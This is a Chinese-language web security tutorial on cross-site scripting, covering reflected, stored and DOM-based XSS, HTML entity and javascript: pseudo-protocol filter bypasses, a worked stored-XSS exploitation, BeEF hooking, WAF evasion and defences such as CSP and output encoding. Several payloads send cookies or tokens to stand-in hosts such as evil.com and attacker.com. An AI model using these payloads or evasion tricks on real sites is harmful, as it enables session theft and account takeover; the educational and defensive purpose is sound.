
1. 项目概述从“弹窗”到“接管”XSS攻击的深度剖析很多刚接触Web安全的朋友一提到XSS跨站脚本攻击第一反应可能就是“哦那个能弹个警告框的漏洞”。如果你也这么想那可能就大大低估了它的威力。我干了十多年渗透测试见过太多因为一个不起眼的XSS漏洞导致整个后台沦陷、用户数据被批量盗取甚至被当作“跳板”对内网发起攻击的真实案例。XSS的本质是攻击者能够将恶意脚本代码“注入”到受信任的网页中当其他用户浏览该页面时浏览器会“忠实”地执行这些恶意代码。这就像在一家你常去的、信誉良好的咖啡馆服务员浏览器端给你一杯被偷偷加了料的咖啡网页而你毫无防备地喝了下去。这篇文章我们不玩虚的不搞那些教科书式的定义罗列。我会从一个实战老兵的视角带你彻底搞懂XSS攻击中最核心、也最让新手头疼的两个高级技巧HTML实体编码和JavaScript伪协议。为什么是它们因为在实际的攻防对抗中网站往往部署了各种过滤和拦截规则直接写一个scriptalert(1)/script就想成功那几乎是不可能的。攻击者必须像“变形金刚”一样对攻击载荷Payload进行各种编码和伪装而实体编码和伪协议就是绕过防御的两把“万能钥匙”。理解了它们你才能真正看懂那些看似天书般的XSS利用代码也才能在自己的项目中构建起更坚固的防线。2. XSS攻击的三大类型与核心逻辑在深入编码技巧之前我们必须先建立对XSS攻击类型的整体认知。这决定了我们后续选择哪种攻击向量和编码策略。根据恶意脚本的存储和执行位置XSS主要分为三类它们的危害性和利用方式有显著区别。2.1 反射型XSS一次性的“钓鱼钩”反射型XSS也叫非持久型XSS是最常见的一种。它的攻击过程像一次性的“钓鱼”。攻击者构造一个含有恶意脚本的URL然后通过邮件、社交软件等手段诱骗受害者点击。服务器收到这个请求后会“反射”般地将恶意脚本拼接进返回的HTML页面发送给受害者的浏览器执行。核心特征非持久化恶意脚本不存储在服务器上只存在于那个特定的URL中。需要交互必须诱骗用户主动点击那个恶意链接。常见场景搜索框、错误信息页面、URL参数回显等任何将用户输入直接输出到页面的地方。一个典型的攻击链攻击者发现一个搜索功能搜索关键词keyword会直接显示在结果页面上如p您搜索的关键词是keyword/p。攻击者构造URLhttp://vuln-site.com/search?qscriptfetch(http://evil.com/steal?cookiedocument.cookie)/script。受害者点击此链接浏览器向vuln-site.com发起请求。服务器返回的HTML中包含p您搜索的关键词是scriptfetch(...)/script/p。受害者的浏览器解析并执行了这段脚本将其Cookie悄无声息地发送到了攻击者的服务器evil.com。注意现代浏览器如Chrome、Edge内置的XSS Auditor或类似机制会对反射型XSS进行一定程度的防护但远非绝对安全且DOM型XSS不受此影响。2.2 存储型XSS潜伏的“定时炸弹”存储型XSS的危害性远大于反射型。攻击者将恶意脚本提交到网站服务器如数据库、文件系统当其他用户浏览到包含该恶意内容的页面时脚本就会被执行。核心特征持久化恶意脚本被永久存储在服务器端。影响广泛所有访问到该恶意内容的用户都会中招无需单独诱骗。常见场景论坛帖子、用户评论、个人简介、站内信、商品评价等所有支持用户提交并持久化展示内容的功能。攻击影响 想象一个博客平台的评论处存在存储型XSS。攻击者发表一篇包含恶意脚本的评论。此后任何访问这篇博客文章的用户其浏览器都会执行该脚本。攻击者可以大规模盗取用户会话Cookie、篡改页面内容、进行“挂马”引导用户下载木马甚至发起蠕虫攻击如早年MySpace的Samy蠕虫造成灾难性后果。2.3 DOM型XSS纯前端的“魔术戏法”DOM型XSS是一种比较特殊的类型其恶意代码的执行完全发生在客户端不经过服务器端处理。漏洞源于前端JavaScript代码不安全地操作了DOM文档对象模型将用户可控的数据传递给了能够动态执行代码的“危险函数”Sink。核心特征纯客户端整个攻击链条不涉及服务器端的数据处理。服务器返回的可能是“干净”的HTML和JS但JS代码逻辑有缺陷。难以检测传统的服务端日志监控和WAFWeb应用防火墙可能完全看不到异常因为恶意Payload在到达服务器时可能是正常的参数。常见Sink点eval(),innerHTML,outerHTML,document.write(),setTimeout()/setInterval()的第一个参数为字符串时以及location.href、src等属性的赋值操作。一个简单示例 假设页面有一段JS代码从URL的hash#后面部分获取内容并写入DOM// 假设URL是http://example.com/page.html#img srcx onerroralert(1) var userInput window.location.hash.substring(1); document.getElementById(message).innerHTML userInput; // 危险操作攻击者只需让用户访问一个构造好的URL恶意脚本就会被innerHTML解析并执行。服务器收到的请求只是/page.html完全不知道hash里藏了什么。理解这三者的区别至关重要。防御反射型和存储型XSS重点在服务端的输入过滤和输出编码。而防御DOM型XSS则必须规范前端JavaScript代码对来自URL、表单等用户可控的数据进行严格的检查和净化避免直接传递给危险的Sink。3. 攻击实战核心绕过过滤的编码艺术当我们在一个输入框里尝试输入scriptalert(1)/script却发现页面要么弹窗被拦截要么代码被直接显示为文本时就意味着网站有基础的过滤机制。这时我们就需要祭出编码和伪协议这些“魔法”来绕过防御。3.1 HTML实体编码给特殊字符“穿马甲”HTML实体编码是为了在HTML文档中安全地显示预留字符如,,等而设计的。浏览器在解析HTML时会先将这些实体解码成对应的字符再进行渲染和执行。为什么它能用于XSS因为一些过滤机制可能只进行简单的字符串匹配寻找script、onerror等关键词。如果我们把这些关键词的每个字符都转换成HTML实体过滤规则就可能识别不出来而浏览器最终却能正确解码并执行。实体编码格式#十进制数字;例如对应#60;#x十六进制数字;例如对应#x3c;(大小写不敏感)实战绕过示例 假设网站过滤了和但过滤不彻底。我们可以构造!-- 原始Payload -- img srcx onerroralert(1) !-- 经过HTML实体编码后的Payload -- #x69;#x6d;#x67;#x20;#x73;#x72;#x63;#x3d;#x78;#x20;#x6f;#x6e;#x65;#x72;#x72;#x6f;#x72;#x3d;#x61;#x6c;#x65;#x72;#x74;#x28;#x31;#x29;#x3e;当这串“乱码”被输出到HTML中时浏览器会先将其解码还原成img srcx onerroralert(1)然后创建图像元素触发onerror事件执行JavaScript。更高级的嵌套编码 有时数据会经过多层处理。例如用户输入先被插入到JavaScript字符串中然后再被innerHTML写入页面。这时可以采用多层编码。第一层JS字符串内对alert(1)进行Unicode编码\u0061\u006c\u0065\u0072\u0074(1)。第二层考虑URL上下文将整个字符串进行URL编码%5cu0061%5cu006c%5cu0065%5cu0072%5cu0074(1)。第三层作为HTML属性值再进行HTML实体编码#x25;#x35;#x63;#x75;#x30;#x30;#x36;#x31;...。这种“套娃”式的编码能有效绕过那些只进行单层、简单解码的WAF规则。实操心得不是所有位置都支持HTML实体编码。它主要用在HTML标签内部和属性值中。在script标签内部的纯JavaScript代码区域浏览器不会对其进行HTML实体解码。你需要根据Payload最终被解析的上下文环境选择合适的编码方式。3.2 JavaScript伪协议在URL里“藏”代码javascript:是一个特殊的URI协议。当浏览器遇到以javascript:开头的URL时会执行冒号后面的JavaScript代码而不是发起网络请求。基本形式javascript:alert(document.domain)为什么它能用于XSS因为它可以将JavaScript代码“隐藏”在看似普通的链接a标签的href、框架iframe的src甚至表单form的action中。这对于利用那些允许用户自定义链接、但过滤了script标签的场景非常有效。常见利用点可自定义的链接/头像a hrefjavascript:fetch(http://evil.com/steal?datalocalStorage.token)点击领奖/aiframe的src属性iframe srcjavascript:document.write(scriptalert(1)/script)/iframe图片的src属性低版本IE等特定环境img srcjavascript:alert(1)(现代浏览器已普遍修复)配合编码绕过 如果网站简单过滤了javascript:这个关键词我们可以利用空白字符或编码来绕过。插入空白/换行java#x0A;script:alert(1)(利用HTML实体#x0A;表示换行)利用URL编码javascrip%74:alert(1)(对字符t进行URL编码)多重编码组合#x6a;#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;#x3a;alert(1)(将整个协议名进行HTML实体编码)一个综合案例 假设一个网站允许用户提交个人网站链接并会在页面中生成a href用户输入个人主页/a。它过滤了javascript:和、。 我们可以提交如下Payload#x6a;#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;#x3a;#x61;#x6c;#x65;#x72;#x74;#x28;#x64;#x6f;#x63;#x75;#x6d;#x65;#x6e;#x74;#x2e;#x64;#x6f;#x6d;#x61;#x69;#x6e;#x29;前端生成的HTML为a href#x6a;#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;#x3a;#x61;#x6c;#x65;#x72;#x74;#x28;#x64;#x6f;#x63;#x75;#x6d;#x65;#x6e;#x74;#x2e;#x64;#x6f;#x6d;#x61;#x69;#x6e;#x29;个人主页/a浏览器解析时先将href属性值中的HTML实体解码得到javascript:alert(document.domain)识别出javascript:协议执行后面的代码。注意事项javascript:伪协议的执行环境是当前页面的域。这意味着通过它执行的代码可以访问当前页面的DOM、Cookie除非设置了HttpOnly、LocalStorage等与通过script标签引入的代码拥有相同的权限。但它不能直接跨域因为它本质是在当前页面上下文中执行。4. 从理论到实战一个完整的XSS漏洞利用流程理解了原理和技巧我们通过一个模拟的实战场景来串联整个流程。假设我们目标是一个存在存储型XSS漏洞的简易留言板系统。4.1 信息收集与漏洞探测首先我们需要找到注入点。留言板通常有两个关键交互留言内容输入框和留言展示页面。试探性输入在留言框里不要一上来就用script标签。先输入一些特殊的“探针”字符观察其被处理后的输出。输入‘ “ 观察它们是被原样显示变成了HTML实体如lt;还是直接消失了这能帮助我们判断服务端做了哪些过滤。测试基础Payload如果特殊字符没被过滤尝试最简单的Payload。输入scriptalert(document.domain)/script或者img srcx onerroralert(1)查看留言展示页面看是否弹窗。如果弹窗证明存在漏洞且过滤非常弱。分析过滤规则如果弹窗失败查看页面源代码CtrlU看我们的输入被如何处置了。是否script被删除或转义了是否onerror等事件属性被过滤是否标签属性值必须用引号包裹这一步需要耐心反复测试揣摩开发者的过滤逻辑。4.2 构造绕过Payload假设我们发现系统过滤了script和on开头的事件处理器但img标签和src属性是允许的。同时它对javascript:协议进行了关键词匹配过滤。我们的绕过思路可以是利用img标签但将src属性指向一个伪协议并在协议名中插入编码绕过过滤。构造Payload 我们想让src执行JS代码但直接写javascript:alert(1)会被过滤。我们可以利用HTML实体编码将javascript:这个词拆散。确定最终想要的HTMLimg srcjavascript:alert(1)对javascript:进行HTML实体编码十六进制。j是#x6a;a是#x61;以此类推。得到#x6a;#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;#x3a;组装Payloadimg src#x6a;#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;#x3a;alert(1)将这个Payload提交到留言板。4.3 漏洞利用与危害验证提交后访问留言列表页面。如果漏洞存在且绕过成功浏览器会解析HTML创建img元素。处理src属性将实体编码#x6a;#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;#x3a;解码为javascript:。尝试加载src发现是javascript:协议于是执行alert(1)成功弹窗。但这只是开始。真正的攻击远不止弹窗。我们可以将alert(1)替换为更具危害的代码盗取Cookieimg srcjavascript:fetch(http://attacker.com/steal?cookiedocument.cookie)这将把当前用户的会话Cookie发送到攻击者控制的服务器attacker.com。键盘记录器通过注入更复杂的JS监听页面的onkeypress事件将按键信息外传。钓鱼与篡改使用document.write()重写整个页面内容伪造一个登录框诱骗用户输入账号密码。结合其他漏洞如果用户是管理员盗取其Cookie后可直接登录后台进一步结合上传漏洞获取服务器权限。4.4 使用专业工具BeEF框架手动构造Payload虽然灵活但效率较低。在实际渗透测试中我们常使用自动化框架如BeEFThe Browser Exploitation Framework。它提供了一个强大的平台用于利用XSS漏洞对受害者浏览器进行持续控制。基本使用流程启动BeEF在Kali Linux中通常只需在终端输入beef-xss。它会启动服务并给出访问管理界面的URL如http://127.0.0.1:3000/ui/panel和生成的“钩子”JS文件地址如http://127.0.0.1:3000/hook.js。生成Hook Payload我们的目标就是让受害者的浏览器加载这个hook.js。Payload通常为script srchttp://你的BeEF服务器IP:3000/hook.js/script。注入与等待将上述Payload通过XSS漏洞注入到目标网站中。一旦有用户受害者浏览了包含该Payload的页面他的浏览器就会加载hook.js并与BeEF服务器建立连接。控制浏览器在BeEF的管理界面中你会看到在线的“僵尸浏览器”。你可以向它发送数百条命令例如获取Cookie、浏览器历史、本地存储数据。发起网络请求CSRF攻击。打开摄像头、麦克风需用户授权。进行端口扫描利用浏览器作为代理。与Metasploit联动尝试进一步的漏洞利用。BeEF将XSS从一个“一次性”的弹窗漏洞变成了一个可持续交互的“后门”极大地扩展了攻击面。5. 高级绕过技巧与防御者视角攻击者在不断进化防御者必须想得更远。除了基础的实体编码和伪协议还有一些高级技巧需要了解。5.1 基于上下文的编码策略Payload的编码方式必须匹配其最终被解析的“上下文”。这是绕过WAF和过滤规则的关键。上下文类型示例需要转义/编码的字符有效Payload示例HTML标签内div用户输入/div,/divscriptalert(1)/scriptdivHTML属性值无引号input value用户输入空格引号x onmouseoveralert(1)HTML属性值双引号内input value用户输入 onmouseoveralert(1)HTML属性值单引号内input value用户输入 onmouseoveralert(1)JavaScript字符串双引号内scriptvar a 用户输入;/script\,, 换行符\);alert(1);//JavaScript字符串单引号内scriptvar a 用户输入;/script\,, 换行符\);alert(1);//URL参数a href/search?q用户输入URL保留字符如,#,javascript:alert(1)实战技巧使用“模糊测试”思路。针对一个输入点系统地尝试不同上下文下的Payload。例如先尝试闭合标签再尝试闭合属性再尝试在JS字符串中逃逸。工具如Burp Suite的Intruder或自定义的Fuzz字典可以极大提高效率。5.2 利用不常见的标签和事件当script、img、onerror、onload等被重点防御时可以尝试一些“偏门”的HTML标签和事件。标签svg,audio,video,object,embed,details的ontoggle事件等。事件onfocus适用于可聚焦元素如input、onmouseenter、onauxclick、onbeforeinput等。示例svg onloadalert(1) input autofocus onfocusalert(1) details ontogglealert(1) open !-- open属性使事件立即触发 --5.3 防御措施构建多层次防线作为开发者绝不能只依赖某一种防御手段。一个健壮的防御体系应该是多层次的。严格的输入验证与过滤白名单原则不要试图用黑名单过滤所有“坏”字符这永远防不住。应该根据业务场景定义明确的白名单。例如用户名只允许字母数字邮箱地址必须符合正则表达式富文本内容使用严格的HTML净化库如DOMPurify。位置必须在服务端进行。客户端验证仅用于提升用户体验可被轻易绕过。上下文相关的输出编码这是防御XSS最有效、最根本的方法。在将数据输出到页面时根据其所在的上下文使用对应的编码函数。输出到HTML内容使用HTML实体编码。将,,,,分别转换为amp;,lt;,gt;,quot;,#x27;。几乎所有后端框架都提供了此类函数如PHP的htmlspecialcharsPython Jinja2的自动转义。输出到HTML属性同样使用HTML实体编码并确保属性值总是用引号包裹。输出到JavaScript使用JavaScript字符串编码。将数据放入JSON中然后输出是更安全的方式。输出到URL使用URL编码。内容安全策略CSP是一个重要的深度防御策略。通过HTTP响应头Content-Security-Policy告诉浏览器只允许执行来自特定来源的脚本、样式、图片等资源。示例Content-Security-Policy: default-src self; script-src self https://trusted.cdn.com;这可以有效地阻止内联脚本包括javascript:伪协议和onclick等事件处理器的执行以及阻止加载外域恶意资源。即使网站存在XSS漏洞CSP也能将损害限制在一定范围内。设置安全的Cookie属性HttpOnly阻止JavaScript通过document.cookie访问Cookie这是防御会话劫持的关键。Secure仅通过HTTPS传输Cookie。SameSite设置为Strict或Lax可以有效防御CSRF攻击并对某些XSS导致的Cookie滥用起到限制作用。使用现代前端框架像React、Vue、Angular这样的现代框架默认提供了良好的XSS防护。它们通过虚拟DOM和模板语法在大多数情况下能自动对动态内容进行正确的转义。但开发者仍需警惕v-htmlVue或dangerouslySetInnerHTMLReact这类“危险”API的滥用。6. 常见问题排查与实战心得在实际的渗透测试和代码审计中你会遇到各种各样的情况。这里分享一些我踩过的坑和总结的经验。问题1Payload提交后页面没有任何反应查看源代码发现Payload被完整显示出来了没有执行。排查这通常说明你的输入被当成了纯文本而不是HTML代码。检查输出点是否使用了正确的上下文编码。例如你是否将数据输出到了div的textContent属性或类似的地方这些地方不会解析HTML。你需要寻找能解析HTML的输出点如innerHTML、document.write()或未转义的模板变量。问题2使用了实体编码但浏览器没有解码执行。排查确认编码后的Payload被放置在正确的上下文中。HTML实体编码只在HTML解析阶段生效。如果你将编码后的Payload通过JavaScript的innerHTML赋值它会被解码执行。但如果你将其放在script标签内的JavaScript字符串里它不会被当作HTML实体解码。此时你需要的是JavaScript Unicode编码\u0061。问题3javascript:伪协议在Chrome/Firefox最新版中不执行了。现状出于安全考虑现代浏览器对javascript:伪协议在img、iframe等标签的src属性中的执行进行了严格限制。但在a标签的href属性中用户点击后仍会执行。此外一些旧的、特殊的语法或结合其他漏洞如CSP配置错误可能仍有利用空间。不要依赖它作为主要攻击向量但要了解其原理。问题4明明存在漏洞但WAF总是拦截我的Payload。策略静态混淆使用大小写变换、插入空白字符Tab、换行、使用String.fromCharCode()动态生成字符串。编码混淆尝试多重编码HTML实体URL编码、使用罕见的Unicode字符的同形字Homoglyphs。拆分与组合将Payload拆分成多个参数或通过多个请求发送在客户端通过JavaScript拼接。利用WAF规则盲区研究特定WAF的规则集。有些WAF可能对某些不常见的HTML标签、事件或协议检查不严。终极思路尝试寻找WAF后的真实服务器如通过CDN配置错误、或利用其他漏洞如SSRF从内部网络发起攻击。个人心得 XSS的攻防是一场永无止境的“猫鼠游戏”。作为攻击方白帽子思维要发散不要局限于常见的script标签。多看看HTML和JavaScript规范了解有哪些“偏僻”的标签、属性和API可以被利用。作为防御方一定要树立“所有用户输入都是不可信的”这一核心原则。实施白名单、进行上下文输出编码、部署CSP这三板斧是基石。定期进行代码审计和渗透测试使用自动化扫描工具如Burp Suite、OWASP ZAP作为辅助但绝不能完全依赖工具因为逻辑漏洞和高级绕过技巧往往需要人脑来发现。最后保持对安全动态的关注新的攻击手法和防御技术总是在不断涌现。